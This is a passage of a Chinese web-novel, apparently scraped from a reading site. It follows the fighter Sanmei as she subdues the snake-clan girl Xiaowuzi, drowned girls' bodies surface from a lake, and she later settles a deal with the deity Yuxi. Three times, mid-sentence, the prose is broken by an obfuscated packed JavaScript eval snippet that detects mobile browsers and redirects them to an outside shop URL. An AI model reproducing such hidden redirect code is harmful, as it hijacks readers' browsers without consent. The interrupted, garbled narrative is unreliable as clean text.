窗户的大小,目测那只叫做八耳的稚鸡才能通过,小屋子的身板再小,也不可能从那窗户里爬出去。 难道还真凭空消失了? 水尾寨的人,竟然已经邪门到这种地步了? —— 邪门的小屋子,还没跑出几步呢,就在楼船顶上,与三枚狭路相逢了。 三枚双手叉腰,早在上边等着了。 小屋子才窜上屋顶,什么都没看清呢,慌慌张张就开始低鸣,急着呼唤水虺巨蟒:“榆次,榆次!” “你这鬼鬼祟祟的,找什么呢?”三枚就站在小屋子背后,悠悠地说道。 小屋子猝不及防,被吓得差点掉下船顶。 她嚯地转头,浑身紧绷,满脸戒备地看着三枚,脚下不动神色地往后移。 “你想干什么?” 三枚挑眉,眸中划过一抹寒光:“你说呢。” 小屋子瞪眼,突然低声吼道:“把我老祖宗放了!” “啧!” 三枚不耐烦地哼了一声,“我要是你,肯定不做无畏的挣扎了。” 越挣扎,往往死的越惨。 心情不爽的三枚,多说一句话眉头就皱得越深,越看小屋子越厌烦,一点没有当初对待小坂妹的耐心。 小屋子却像是听不懂别人的话外意,或者说她听懂了,但是心里根本就不以为然。 她是老祖宗选中的蛇族继承人,她天赋异禀、控制榆次的能力比阿姐还要更胜一筹,她是天选之女,眼前这个叫做三枚的女人,根本不肯随意打杀自己。 小屋子在心里默默给自己打气,的=小小的眼珠子在眼眶里滴溜溜乱转。 三枚不用细看都知道这孩子肯定不会老实,余光见陆衎从底下飞跃了上来,她的心里莫名又窜上一股无名火,脚下一蹬,二话不说便径直冲向了伺机逃跑的小屋子。 小屋子先是一脸惊慌,低头看了看船下幽深泛蓝的湖水,再抬起脸时,却是换了另一幅面孔。 榆次来了,只要自己一声令下,就能将这艘小小的楼船震翻碾碎! 她嘴角挂着肆无忌惮的邪笑,不再害怕地往后退,而是直接摆开了姿势。 看样子,好似打算与三枚正面较量一般。 “呵,老祖宗说过,寻尸五门,就你们山门序家全是一群脆皮。”小屋子甚至有闲心嘲讽三枚。 三枚闻言,嘴角微微上扬:“是吗?那你可要好好看清楚了,你和我,到底谁更脆!” 说完心沉丹田,左腿往前一迈,她的身位随之压低,看似伸手抓人,实则引导小屋子主动出击。 别看小屋子年龄小、个子矮,一身的气势却不弱,她出拳的速度快速又敏捷,而且基本都在用巧劲。 竟然练过,而且功夫还不俗。 三枚意外地看着咬牙连连出招的小屋子,向后退了一步又一步,看似手忙脚乱地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282370|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伸手回挡,实则靠着双臂的曲直伸缩,敏捷地躲过小屋子的每一次攻击。 十招之后,三枚便基本摸透了小屋子出拳的招数,再一次伸手回挡的瞬间,快速打开双腿,保持弓步。 她深呼吸一口气,开始控制自己呼吸的节奏,将全部的心神和意念都投注在自己的右拳上。 稍微估量了下小屋子与自己的距离,三枚忽而一个侧头,躲过了小屋子的重拳。 瞅准小屋子重拳之后习惯喘息一秒的间隙,手腕快速转上的同时握紧,她全身肌肉在此时也一并全速收缩,右手后肘快速抬平,肘尖朝外。 “呵!” 三枚抬头,对着小屋子微微一笑。 小屋子看见她脸上的微笑,眉头紧皱,两人之间的对招,自己明明占了上风,可她为何心中隐隐有种不妙的预感。 然而还不等她想出个所以然来,三枚此时快速吐气后又深吸了一口气,积蓄在拳头上的力量陡然爆发,一个拳头直接打在了小屋子的肚子上。 掉以轻心的小屋子猝不及防吃了一拳,顿时疼得眼冒金星,五脏六腑好似全部被移了位,“哇啦”喷了一大口鲜血。 “你——” 三枚全神贯注出拳,拳头触碰到对方衣裳之后,粘性十足地一直粘在了小屋子的腹部,随粘随打。 她打出的拳头,连续紧凑地发出的短促、刚脆的寸劲,进攻的爆发力不减反增,直将小屋子逼得连连后退。 小屋子被打得狂吐鲜血,却咬紧牙关不愿吭上一声。 站在两人身后、目睹了全程的陆衎,嘴角的笑意越来越深。 他的视线和全部心神都投注在三枚的身上,看她将小屋子逼得毫无还手之力,甚至还轻笑出声。 三枚见好就收,适时收拳,凝聚在心口的一股气却没有吐散,而是缓缓垂眸,冷冷地盯着脚下的小屋子。 “服了吗?”她淡声问道。 小屋子吐掉嘴里的鲜血,咳嗽了好一会儿,才呈大字瘫倒,嘴巴大张,呼哧喘着粗气。 她的眼神有些涣散,根本没有一点力气和精力回答三枚的问题。 这个时候,陆衎才从后面慢慢地走了过来。 他看了小屋子一眼,才对着三枚道:“船上的人都倒下了,只剩仓库里的兰哥和成小胖没事。” 三枚拧眉,微微侧头,一脸冷沉地睨了陆衎一眼,道:“怎么回事?” 陆衎无辜地朝人眨了眨眼,一点焦急的意思都没有。 他缓缓摇头,回她:“据成小胖和兰哥回忆,当时仓库里突然刮起了一阵狂风,被风扫到的人便慢慢地倒下了。” “兰哥当时躲在门外,躲过了一劫,成小胖不知为何,除了撞伤外却是清醒着。” 听了陆衎的话,三枚思忖了片刻,慢慢地将头转向了小屋子,眼神逐渐变得冷漠了起来。 “哈!你居然知道!” 三枚拽着小屋子的胳膊,将人从楼船顶直接带到了一楼甲板上。 陆衎挑眉,迅速跟在两人的后头。 就见三枚将小屋子的头按在船头,冷声道:“你竟然知道孟庄将另一个阵眼放在你的身上!你甚至利用这个阵眼,打算要这船上的所有人都给你们陪葬!” “小屋子,孟庄到底给你承诺了什么,何至于你如此疯狂追随于他!” 67. 第 67 章 “不管孟庄给了你怎样的承诺,小屋子,”三枚将腕上的五铢钱拽下,用力摁在小屋子的肩胛骨上,“我敢保证,你最后都不会如愿。” “因为我,不允许!” 被三枚眸中的冷意骇得遍体生寒,小屋子的脸上,终于露出了惊恐的眼神。 她突然剧烈地挣扎着,“你只是一个寻尸人,不能随意插手我们蛇族的恩怨!” 三枚:“哼!你看我插手的还少吗?” 小屋子见那五铢钱准确地落在自己身上的阵眼上,她眼底的恐惧越来越深,嘴里连珠炮似的快速说道:“寻尸人避世隐居、只寻尸不理俗事,你不能无视江湖规矩!” “江湖?规矩?”三枚极其不屑地轻笑一声,“在我这儿,规矩就是用来破坏的!” 三枚眼底的寒意彻底吓傻了小屋子,她突然声嘶力竭地对着湖面尖叫了起来。 “榆次!榆次你快出来,把这个女人的头给我咬断!” “榆次!啊啊啊,榆次!” 哗啦一声巨响,水虺巨蟒突然从水下窜了起来。 之前被八耳追着打、最后通过蜕皮成功逃命的巨蟒,在小屋子的呼唤下终于再次出现,却也只敢盘桓在楼船的边上。 陆衎又将腰佩握在了手中,冷眼盯着那条体型明显小了一圈的巨蟒。 那巨蟒被陆衎的气势吓退,才刚将头冒出水面,连蛇信子也都没敢吐,就被盯得一点一点又沉了下去,凶狠的蛇眼瞬间都老实不少。 “哼!”三枚斜睨了一眼,讥讽地道:“你看,它敢动吗?” “榆次!榆次,快将这个女人给我杀了!”小屋子突然暴动了起来,狠狠抓破了胳膊,将血液滴到了水里。 她恨声命令道:“榆次,将她的头给我咬下来!” 结果不管她喝令得多大声多狠厉,胳膊的血留了多少,沉在水里的巨蟒,看见慢慢苏醒过来虎视眈眈盯着自己的八耳,再看一眼嘴边泛着肃杀冷笑的陆衎,吓得一动不敢动。 “啊啊啊,你们这群疯子,你们对我的榆次做了什么?” 三枚直接掐住了小屋子的脖子,阻断了她歇斯底里的叫骂声,另一只手上捏着的五铢钱,用力一按,一下子就嵌进了她肩上的肉骨里。 小屋子吃痛,眼睛瞬间瞪大,喉咙里却一点声音都发不出来,她的瞳孔,从黑色霎时变得猩红,龇牙咧嘴地猛烈挣扎了起来。 三枚因为方才出拳耗费了全身的气力,想要完全控制小屋子不要命一样的挣扎扭动,一时显得有些吃力。 这时边上突然伸过来一只大掌,轻松就将小屋子控制得动弹不得。 三枚斜眼看了陆衎一眼,默不作声,捏紧五铢钱在小屋子的肩上狠狠往下一挖。 “轰隆!” 水尾寨彻底坍塌,发出震天响地地巨大响动,平静的湖面刮起了猛烈的飓风,好似带着吞噬一切的黑暗力量,很快就形成了一个巨大的龙卷风,不一会儿就与湖面衔接了起来。 湖水被龙卷风卷成了一个巨大的漩涡,像一个深渊巨口,将水尾寨坍塌的无数巨石土地如数吞没。 响彻云霄的震动和汹涌的龙卷狂风,持续了好一会儿,直到水尾寨彻底被湖水覆盖,湖面上的漩涡才逐渐小了起来。 楼船被飓风和湖水搅得左摇右摆,哗啦啦从天而降的,不知是湖水还是天上的雨水,冷冰冰地落在人的头顶身上。 船上先前莫名其妙昏迷不醒的人,被天上落下的水流淋到,逐渐恢复了意识,睁眼却发现自己被从天而降的瓢泼大水淋得浑身湿透。 “怎么回事?” “怎么突然又开始刮风下雨了?” “哎哟!快趴下,是龙卷风!大家小心被风卷走,快躲开......” “啊啊!地!咱们水尾寨的陆地啊啊,都叫那漩涡给吞了,这下是真没了、真没了啊!!” “没了正好!” 小坂妹终于醒了过来,她脸色苍白地从她娘的怀里挣脱,撑着她爹的手勉强站稳了身子。 她狠狠地抹了一把脸上的雨水,对着那些一脸悲怆、哭丧一样的族人,指着远处越刮越大的龙卷风,大声道:“这样一块、不知道用了多少无辜之人的尸骨堆积而成的地,用活死人残忍修筑而成的地,没了正好!” “踩在这样一块地上,我良心不安!” “可是、这不是他们的一面之词吗?我们、我们应该相信老祖宗——” “相信个屁!”小坂妹气得直跺脚,“他孟庄算什么老祖宗!” “孟庄就是个吃人不吐骨头的恶魔!” “他残害手足!残害无辜的陌生人!他甚至不知道在暗地里,害死我们蛇族多少人!”小坂妹抽出了袖中一块老旧的木雕,“这个是我在镜湖下找到的,是我亲爷爷的木雕,我爷就死在了湖底下,就因为他发现了孟庄害人的秘密!” “而我,也因此差点被灭口!” “就这样,你们还觉得他孟庄是个伟岸清廉的好族佬?”小坂妹指着被三枚和陆衎按在船头的小屋子,“小屋子都被他害成那样了,你们难道还不愿清醒过来吗?” “还要跟着他一起作孽作恶吗?” “咔嚓!” 天空骤然响起一道惊雷,电闪雷鸣之下,倾盆雨柱相继来袭。 迅猛的乱风吹得人连站都站不稳,兜头暴雨把人打得浑身发疼。 兰哥和成小胖拖着二毛他们,跌跌撞撞地从仓库里出来,抬眼见立在雨幕里的三枚和陆衎,稳稳地站在船头。 “小胖,三枚阿姐在哪儿!”他用力地拍了下成小胖的肩膀,看着前面大声吼道。 瓢泼大雨之下,兰哥眼尖地发现了之前一直抱在怀里的锁魂箱,被放在角落里,雨水浇得它噼里啪啦响。 想到之前与它“相依为命”的同伴情谊,兰哥顾不得帮成小胖搬人了,快步就冲了出去。 “诶,你干啥去?”成小胖一愣,对着兰哥奔跑的背影吼道。 几步就到了锁魂箱前,兰哥刚蹲下-身,就被突然出现的破瓷碗吓了一跳。 他愣愣地看着破瓷碗里的竹箩,竹箩里的白米和白线已经不翼而飞,取而代之的是他之前喊魂时被风刮走的绢布。 然而神奇的是,不管周围的雨有多大,风有多狂,破瓷碗却是一点都不受影响。 粉色绣山茶花的绢布,叠得方方正正,安静地躺在碗底,干干爽爽的。 兰哥心下一动,似有所感一般抬头看向三枚的方向。 三枚后脑勺仿佛长了眼睛,在兰哥抬头的时候,她也正好转头。 两人视线对上的瞬间,那双杏眸陡然变得犀利,三枚眨掉快要流进眼睛的雨水,看着兰哥,缓缓地点了点头。 她什么也没说,兰哥却好似明白了她眼里的意思,不自觉伸手,拿起破瓷碗里的绢布。 咽了咽口水,兰哥捏着绢布的一角,徐徐展开,站起身后,对着湖面一点一点缩小的漩涡,忽而放声喊了起来:“玉娘子,回家了!” “回家了,玉娘子!” “玉娘子啊,兰哥来接您回家了!” “玉娘子啊,玉玺老祖宗啊,他在家里等您回呢!快快回吧!快快回啊!” 十几岁的少年郎,脸庞稚嫩,总是水汪汪清澈的双眼,陡然一凛,浑身气势都变得不一般。 他的声线沙哑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297238|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音不大,然而狂风暴雨都没法将他的声音吞没。 兰哥的喊声,在巨峰和暴雨之间响彻盘旋,飘荡向远方,又好似回旋似的飘荡回来。 “玉娘子啊,兰哥来接您回家了!” “玉娘子,回家了——” 狂风呼啸的风声,好似停滞了一瞬,紧接着又卷着暴雨,呼哧哗啦了起来。 忽而,“嗙!”一声巨响。 湖底又是一阵猛烈的震动,像是有什么东西要从湖底翻涌而出,楼船被水浪冲击得差点翻船,却又被一股大力稳稳拖住。 三枚挑眉,看着盘在船身,一脸讨好地看着陆衎的巨蟒,眼睛一转,一鼓作气,将嵌在小屋子肩胛骨里的阵眼,用力挖了出来。 八耳早就在边上等着了,见三枚挖出了一块血糊糊的圆球一样的珠子之后,立马张嘴对着那颗珠子一叨。 “卡啪”一声,圆珠子被它尖锐的鸡嘴咬碎,稀里哗啦落入了湖里,一闪一闪,就跟天上的星星一般。 血珠子落水,雨势便随着渐弱的风声,开始收敛,变得柔和了起来。 这时,身后突然有人大喊:“你们看!那是什么?” 紧紧扒着楼船才能稳住身形的水尾寨人,视野清明起来的第一时间,就被远处湖面上漂浮着的东西吸引了注意力。 “啊,有什么东西从水里浮了上来了!” “木板吗?还是石块?” 楼船上的其他人闻声,俱都顺着他的喊声看了过去。 第一眼,却是被眼前的有些狼藉的场面给触动了心脏。 水尾寨的村民们,站在船头,愣愣地看着他们曾经充满了欢声笑语的家园,一晃眼又成了当初除了茫茫的湖水外一无所有的荒凉。 他们在地震的余威中,眼神逐渐从呆滞变得哀戚,仿佛风雨中的落叶摇摇坠落,无助而又可怜。 可怜吗? 三枚看着从湖底浮起来的,一具、一具、又一具被冰冷的湖水泡得肿胀发烂的尸体,只觉得胸腔积聚了一团滔天的怒火。 孟庄碎尸万段死一万次,也不足以抵偿他所犯下的罪孽! 之夜走到陆衎的身边,皱着眉头,不可置信地道:“大人,这些尸体......” 虽然被湖水浸泡得已经看不出本来的面貌,但从身型轮廓看,应该都属女子。 更重要的是,所有浮上水面的尸体,都没了一只左手。 断臂、女子,答案呼之欲出。 陆衎沉默不语,只眼神变得越来越冷厉。 楼船匀速往前行驶着,离得越近,尸体的腐臭味道便越浓,有些人甚至忍不住跑到另一边的栏杆处吐了起来。 三枚看着满脸凝重的陆衎,肯定地说道:“眧州的少女,都在这里了。” 陆衎闻言,紧蹙的眉头没有得到舒展,反而越皱越深。 须臾,他缓缓地闭上了眼睛,声音很轻很轻地呢喃:“是吗?” 孟庄和石春华,确实该死! 水尾寨的人被近在眼前的浮尸惨状,吓得脸色苍白,双腿发软,每个人面面相觑了好一会儿,却都哑口无言。 “看见了吗?你们蛇族再怎么可怜,有这些沉在水下日复一日、年复一年、死生不见天日的冰冷尸体,还要可怜吗?” 三枚像扔脏垃圾一样,将早已昏厥的小屋子,随意地丢到了一边。 她转身,看着小坂妹和她身后站着的蛇族人。 “五十年!眼前的浮尸不过冰山一角,看不见的角落,还有许许多多的无辜之人,被融化成了镜湖底下的尸水尸泥。” “就这样,你们蛇族还有人觉得孟庄无辜,还要包庇于他吗?” 68. 第 68 章 不管蛇族人包不包庇孟庄,三枚相信,眧州的官府和水都的陆民,在看见漂浮于镜湖之上的、几十具残缺不全的女尸后,无论如何,都绝不可能会放过他。 闹得沸沸扬扬、人心惶惶的眧州失踪少女案,终于在一山一湖之隔的水都告破。 莫明失踪的十几名无辜少女,皆在镜湖打捞起来的女尸之列。 陆衎站在岸边,背对着光,看着随风泛着粼粼微波的湖水,脸上神色不明。 消失许久的邢正,正站在一面一艘小船上,大声指挥着官府的衙役们,配合有经验的捞尸人,小心翼翼地打捞着湖里的尸体。 无事一身轻的裴元,轻摇折扇,混在一群看热闹的百姓里头,看了好一会儿水上忙得热火朝天的背影。 须臾穿过人群,走到陆衎的身边,饶有兴致盯着陆衎的侧脸,忽而问道:“小三枚呢?” “怎么就剩你一个人在这儿呢?” 不对,好像自水尾寨古墙那儿与三枚分开之后,裴元已经有好长一段时间,没有看见三枚了。 他记得陆衎随着三枚进入水尾寨后,自己和之夜一群暗卫,带着二毛他们利用大量雄黄酒和在药铺配的各种药粉药包,将盘踞在古墙上的蛇群全部药倒后,正好听见一墙之隔的水外债里,爆发出了一声巨响。 “我三枚阿姐她们,已经动手了。”云丫听见声音,立马迫不及待说道,眼里是跃跃欲试的兴奋。 于是,裴元在一群小鬼头的催促下,点头令之夜他们开始撞墙。 没了大量蛇群盘踞作支撑的巨大古墙,摇摇欲坠地立于水面之上,之夜扛着一根不知道什么时候准备的硕大树桩,对着古墙只是稍稍撞了那么几次,它便悠悠然开始倒塌了。 塌落的城墙,溅起的巨大水花,差点将他们所乘的楼船给拍飞。 然而裴元他们还没来得及高兴,还没窥见到水尾寨的真实面貌,就被陡然发生强烈的地震给吓了一大跳。 当时风起云涌,天旋地转,仿佛世界就要被震碎、震裂了一般。 在所有人被颠簸得脑袋一片空白,反应不过来发生了什么事情的时候,云丫却突然手脚并用,踉跄跌撞地冲了出去。 她在一片混乱中,抓住了风帆,与此同时,声嘶力竭地吆喝上了二毛和鱼儿。 云丫的控船技术了得,在她的手下,差点被连续爆发的余震震翻的楼船,开始稳稳地随着颠簸的水流而起伏,虽然依旧船身摇摆震颤,但好歹再没有发生翻船的危机。 二毛和鱼儿在她的指挥下开船,有惊无险地躲过了好几个猛然翻涌的大浪。 而成小胖和王小花则趁隙,活捉了好几条伺机逃脱的毒蛇。 裴元当时被吓得折扇胡乱飞舞,将其中一条水蛇四分五裂、大卸八块,还不解恨,直到将其剁成了泥浆,才红着眼停下了手。 兵荒马乱之间,几个小家伙的默契配合,将楼船成功地开进了水尾寨。 他们来得十分及时,救下了因地震仓皇逃窜、又无路可逃而心生绝望的蛇族人。 然而裴元还没能威风一下,就被陆衎的冷眼和呵斥吓退。 之后在半空救下兰哥后,便将楼船丢给了之夜他们负责,他则先行撤退,去拦着后头明显就是来摘桃子的太子和三皇子等人。 没用的邢安然,回去眧州雨林寻找薛婉茹的尸体,竟然将太子和三皇子这两尊不受人待见的大佛给招来了。 而且,长曜郡主怎么也混在了船上?! 陆在野那厮因为被三枚甩了,心情正各种乌云密布、电闪雷鸣呢,再让他看见长曜这个倒霉蛋,到时五雷轰顶、下冰刀的时候,难保不殃及到自己。 于是裴元大手一挥,上了太子他们所在的船只,各种严词厉色、坑蒙拐骗、胡搅蛮缠、危言耸听,才将来人吓退,将船只驶离了水尾寨。 他带着人在水都,伸长了脖子等了老半天,直到快要黄昏时分,才见邢安然带到水尾寨支援陆衎的船队回来。 陆衎当时一脸冷凝肃杀站在船头,云丫和二毛几个,则都无精打采地趴在栏杆上,个个小脸苍白,看起来十分委顿低迷的样子。 裴元眯着眼睛,仔细在人群里找了又找,就是不见一个穿着道袍、背着木箱子还手拿一个破碗的小身影。 一直到此刻,太阳都快要落山了,小三枚还是没有出现。 那只叫做小八耳,总是与她形影不离的稚鸡,倒是一直都在邢安然捕捞尸体的船上站着,监工一样紧紧盯着打捞人员的动作。 若是有人动作稍微不那么标准,或者有些粗鲁急躁了,它立马化身尖酸刻薄的尖叫鸡,厉声“咯咯”个不停。 再看站在岸边的陆衎,一脸面无表情地眺望远方,若是忽略水上那群人,单看他挺拔倔强却略显寂寥的背影,妥妥就一望妻石。 裴元实在忍不住好奇,上前一步,问道:“小三枚怎么没跟你们一起回来?” 好像那个叫做小坂妹的小孩,也没看见影子。 难不成是还留在水尾寨里? 也不太可能啊,据邢安然所说,水尾寨现在就是一片汪洋,除了水还是水。 小三枚若是还在那儿,没船她往哪儿站?难道还能往水里去? 旱鸭子潜水?闻所未闻。 再说,罪魁祸首孟庄,和被洗脑是非不分的小屋子,已经被官府的人重点控制住了,其余水尾寨的人也被暂时安置在水都里。 事情应该暂时告一段落了才对,怎么还这么神神秘秘呢? 陆衎仿佛没有听见裴元一直在边行叽叽咕咕的声音,仍旧一动不动地看着邢正打捞女尸的方向。 “啧!”裴元气得在后面张牙舞爪,又是吐舌又是伸拳头的。 离了小三枚,你陆在野难不成就是个锯了嘴的葫芦,闷不吭声,高冷得像一座冰山一样! 他好像忘了,陆衎本来就长了一张阴晴不定的冷漠脸。 “浮出水面的尸体,终于都捕捞完了。”看见等在岸上的陆衎和裴元,邢正没等船停,抱着小八耳一跃便上了岸。 一张黑脸全是沉重的神色,他道:“有些甚至一碰就烂,最后根本没法确定,是否跟埋在雨林里的断臂数量一致。” “但少说也有六七十具,腐烂程度不一。” 邢正一边说,一边走向陆衎:“你那边怎么样?” “孟庄招了吗?那个叫做小屋子的孩子,又是怎么一回事?” 冰雕一样的陆衎,终于动了,抬手捏了捏鼻梁,他淡声道:“孟庄招不招,都难逃一死。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306616|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >只不过是早死晚死、死得多惨的区别罢了。 他冷声说完,直接转身离开。 “诶!”裴元指着陆衎的背影,咬牙切齿地对着邢正道:“你瞧,他拽得跟个什么似的!” “看我见了小三枚,不让她好好收拾你一顿,我就不姓裴!” —— 裴元以为三枚和小坂妹还在水尾寨,其实她们比陆衎一行,还要早一步上了岸。 兰哥带路,由小坂妹驱使水虺巨蟒,带着三人绕近道回了水都。 此时此刻,三枚正领着一瘸一拐的小坂妹,和心不在焉、东张西望的兰哥,走在一条黑咕隆咚的小洞里,一步一步走向镇山神玉玺所在的洞府。 “三枚阿姐,我们就这么、这么去见我家老祖宗啊?”兰哥咽了咽口水,有些心虚地道。 粉色绢布虽然被他好好地收进了怀里,但叫魂的竹箩却是从破瓷碗里不翼而飞了。 虽然当初老祖宗只是将东西交给到了他的手中,什么都没有说,甚至连交代一句该如何呼喊玉娘姑奶奶的话都没有。 在水尾寨叫喊的那几句话,还是兰哥临时抱佛脚,找村里的老人问的。 那天从洞府里带出去的东西,除了一块小小的绢布之外,其他都没了。 此行,他算是空手而归了。 兰哥实在愧疚得很,看着三枚恳切地道:“要不,我再到水尾寨里,好好喊一次?” 这次他一定汲取之前的几次经验,喊得更大声、更卖力、更有气势一点。 不想三枚却是摇头:“不用了。” 她拍了拍自己背上的锁魂箱,有些奇怪地看了兰哥一眼,道:“水尾寨所有被困亡灵的魂识,都在这儿呢,你再回去喊啥喊?” 乱叫乱吼,小心引了啥不干净的东西上身,到时请神容易送神难,有你好苦头吃! 兰哥闻言,眼睛陡然一亮:“你是说,我玉娘姑奶奶,已经回来了?” 三枚睨了兰哥的整理得整整齐齐、服服帖帖的胸膛一眼,余光扫了后头气喘吁吁、又瘦又小的小人儿,眼尾一挑,轻声道:“应该是吧。” “啊?”兰哥挠头,什么叫做“应该是吧”? 怎么又说得这样模棱两可了。 他还想多问几句,就见三枚早就扭头走远了,只剩一个小小的背影,和地上拖得老长的黑色影子。 兰哥忽而低头,就见呼哧呼哧喘着粗气的小坂妹,十分吃力地走到了他的身边。 看着脸色苍白却一脸坚毅的小坂妹,兰哥忽而觉得,三枚之所以有耐心停下脚步,回答自己的疑问,全是为了等这丫头跟上。 “要不,我还背着你?”兰哥对着鼻青脸肿的小坂妹道。 小坂妹一愣,捂着脖子慢慢抬起头,她看了兰哥一眼,摇了摇头:“不了,总是麻烦你。” “我是来替我们蛇族赔礼赎罪来的,哪能让你背着。” 负荆请罪的典故,小坂妹开蒙的时候就学过,她低头的动作牵伤处,疼得她龇牙咧嘴,看着握在另一只手里的小木棍,心想:虽然简陋,但聊胜于无吧。 小坂妹一边想着,一边慢吞吞沿着洞壁往前走。 听说镇山神玉玺,是个温柔又仁慈的活神仙,但愿她肯见上自己一面吧。 69. 第 69 章 “人和东西,我都给你带回来了,就在后头。” 三枚将越来越沉重的锁魂箱放到地上,舒展了下-身子后,慢悠悠地说道。 冰床上的玉玺,依旧如初见时一般枯瘦如柴,脸上神色却明显精神了许多。 特别是那双空洞洞却血红的瞳孔,亮得瘆人。 三枚旁若无人地,活动了下发酸发僵的脖子,有气无力地看了玉玺一眼,“答应你的事我可都做到了,我要的东西,现在可以给我了吧。” “呵呵。”玉玺血红的眼珠转了转,忽而轻笑一声,漏气般的嘶哑笑声,回荡在幽暗的洞穴里,听起来有些诡异。 “序莽那小子知道吗?你一直在找我的事。” 我爹当然不知道! 三枚的动作一顿,眼睑往下一垂,小巧的耳朵飞快地抽动了一下,答非所问地道:“山门梦铃被摇响,我自然是要下山寻尸的。” 而她只不过是在寻尸的过程中,偷偷查证了一下,江湖上能够起死回生、化腐朽为神奇的镇山神,是否真的存在。 哪知道竟是如此地凑巧! 薛婉茹死后进入归墟,阴差阳错敲响了她山门的梦铃。 三枚因此有了出山的由头,替其寻尸的过程中,牵扯出了隐藏在背后的石春华,竟然跟她之前暗中命门下人收集的、与镇山神有关的某一部分信息,就那么巧妙地对上了。 沿着蛛丝马迹,在一顿顺藤摸瓜之后,三枚十分敏锐地察觉到,冥冥之中,有一股力量在引导着她前进。 换作以前,再怎么愿意顺其自然,三枚也绝不是能被牵着鼻子走、坐以待毙的木头人。 但这次,在不违背初衷和良心的前提下,她却是随波逐流了一把。 因为她心里隐隐有个声音在告诉她:没事的,走着瞧吧,你会见到想见的人,得到自己想要的结果。 从眧州到水都,她如愿见到了传说中的镇山神玉玺,甚至还与对方达成了交易。 如今,三枚是来做最终结算的。 一直躺在冰床上僵硬如石的玉玺,皮包骨一般的脑袋,忽然“嘎吱嘎吱”转动了起来。 她侧过了脸庞,认认真真地看了三枚好一会儿。 须臾,枯瘦如柴的食指微抬,轻轻指了下放在阴暗角落的小匣子,玉玺声音沙哑地道:“东西就在那儿,自个儿拿去。” 她的声音苍老刺耳,气息却比上次说话时稳定而有力了许多。 三枚顺着她手指的方向看了一眼,眉头一拧,撇嘴道:“可别!” “这老虎木雕谁爱谁拿去,我可受不起。” 她像扫开烫手山芋一样,使劲甩了甩手,“我只要我爹能够站起来便可,其他的,我再不会多干涉一分。” 开玩笑,因为这块老虎木雕,死了多少无辜的人啊! 简直罪孽深重! “匹夫无罪,怀璧其罪。” 躺在冰床上的玉玺,忽而发出一阵轻笑,笑声断断续续,又沙又哑,像是随时要断了气一样,听得人心里十分难受。 “罪不在它,罪在恶。” 三枚感觉那双一直盯着自己的血红色的瞳孔里,短暂划过一抹别样的情绪。 不知道是不是幻觉,她感觉总是面无表情的玉玺的身上,好似弥散着一股淡淡的哀伤。 她听见玉玺轻声呢喃道:“你又何必因为别人之恶,对它产生偏见,从而嫌恶于它。” 三枚:“你想多了,我对这块老虎木雕没有意见,也没有嫌恶于它。” “我只是单纯觉得它麻烦。麻烦的它,会招惹来更多无穷无尽的麻烦,我不愿被这些无谓而令人头疼的麻烦缠上,仅此而已。” 玉玺嘴角扬起一抹僵硬的弧度:“这就是偏见。” “行吧,你说就是咯。”三枚双手一摊,耸肩无所谓地道。 “反正你我之间的约定,我已经完成了我当初应承下的部分,我爹的腿,你无论如何都得给他治好了。” 三枚杏眸陡然一凛,对上威压逼人的镇山神玉玺,竟是一点没输,反而有些旗鼓相当。 玉玺空洞的血眸轻微一颤,忽而轻笑一声,率先别开眼睛,“明年你们寻尸五门祭典大会之前,我会到湖州,让序莽那老小子,老实待在山上等着。” 三枚心下大喜,面上却故作正经,她缓缓一点头:“明白。” 事儿一说完,两人不约而同便都安静了下来。 玉玺垂着眼眸,不知道在想些什么,三枚则是在心里盘算着,回家该怎么跟序莽交代清楚。 幽深的洞府里,一时间静得落针可闻。 忽而略过一阵微风,三枚猛然回神,抬头依旧不见兰哥和小坂妹的身影,眉头一拧,也不知道两人在磨磨蹭蹭些什么,怎么到现在还没有出现。 捶了捶腿,忽而感到有些疲乏的三枚,就近找了块干净的石头坐了下来。 发呆愣神的瞬间,三枚眼前不知不觉浮现出不久前在水尾寨里,浑身是血又一脸倔强的小坂妹。 她轻轻抬眸,望着昏暗的洞口,突然开口问道:“小坂妹,你打算拿她怎么办?” 空气里徐徐流淌的静谧氛围,猝不及防被打破了平衡,冰床前燃着的烛火,飞快一晃。 气氛好似凝滞了一瞬,洞府里的温度在缓缓降低。 忽明忽暗中,玉玺的声音幽幽传来:“怎么,你想替她求情?” 听口气,难不成还真要因为孟庄而迁怒于她? 三枚眉头微蹙,提醒玉玺:“她才十岁而已。” 你镇山神玉玺和水鬼孟庄,还有白眼狼石春华之间的恩恩怨怨,是早在五十年前就种下的因果。 作孽的孟庄和石春华的报应到了,成了人不人、鬼不鬼的半残废物,陷入了求生不得求死不能的境地,就连被脑袋被荼毒得不轻的小屋子,也得到了应有的惩罚。 